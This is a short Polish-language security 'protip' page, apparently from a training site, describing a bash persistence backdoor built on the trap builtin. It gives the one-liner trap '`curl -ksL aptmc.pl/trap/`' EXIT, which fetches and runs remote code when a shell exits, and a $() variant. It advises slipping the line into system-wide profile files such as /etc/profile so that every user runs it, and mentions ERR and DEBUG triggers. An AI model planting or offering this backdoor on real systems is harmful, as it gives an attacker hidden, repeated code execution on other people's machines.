alphasec academy

trap '`curl -ksL aptmc.pl/trap/`' EXIT - backdoor uruchamiający złośliwy payload po zakończeniu sesji terminala

Dodatkowe informacje

Polecenie
trap
pozwala bashowi przechwycić sygnały (np. SIGUSR, SIGINT, SIGTERM (
trap -l
wyświetli ich listę)) i uruchomić odpowiedni kod, kiedy wystąpią. Zamiast sygnałów,
trap
obsługuje jeszcze 3 inne zdarzenia:
  • EXIT - zakończenie skryptu/sesji,
  • ERR - polecenie zakończyło się błędem (zwróciło wartość różną od 0),
  • DEBUG - zdarzenie wywoływane przed uruchomieniem każdego polecenia.
W naszym wypadku przypisaliśmy akcję do zdarzenia EXIT, ale dwie pozostałe są również bardzo ciekawe.
Wystarczy dopisać komuś ten oneliner do pliku profilowego, lub najlepiej do pliku profilowego czytanego przez wszystkich użytkowników (np. /etc/profile, /etc/bashrc czy jeden z plików w katalogu /etc/profile.d/) i za każdym razem, kiedy użytkownik zakończy swoją sesję basha, zostanie wykonane polecenie
`curl -ksL aptmc.pl/trap/`
- czyli zostanie uruchomiony kod znajdujący się na stronie
aptmc.pl/trap/
.
Zamiast backticków (``) powodujących uruchomienie polecenia zwróconego przez polecenie znajdujące się wewnątrz, możemy wykorzystać tożsamą konstrukcję z $() czyli:
$(curl -ksL aptmc.pl/trap/)
.

A tak to może wyglądać

Na poniższym przykładzie ustawiamy trapa dla zdarzenia ERR czyli wtedy, kiedy wystąpi błąd (np. próba wylistowania nieistniejącego pliku czy katalogu). Pod adresem
aptmc.pl/trap/
znajduje się polecenie do uruchomienia kiedy ten błąd wystąpi - w naszym wypadku polecenie
id
, które wyświetla id i grupy aktualnego użytkownika. Żeby wyświetlić jakie trapy są zdefiniowane, wystarczy uruchomić polecenie
trap
bez żadnych argumentów.

Subskrybuj

Jeśli chcesz otrzymywać nowe, mięsiste protipy na maila, a także zostać czasem powiadomiony o wartościowych wydarzeniach - dołącz do subskrybentów.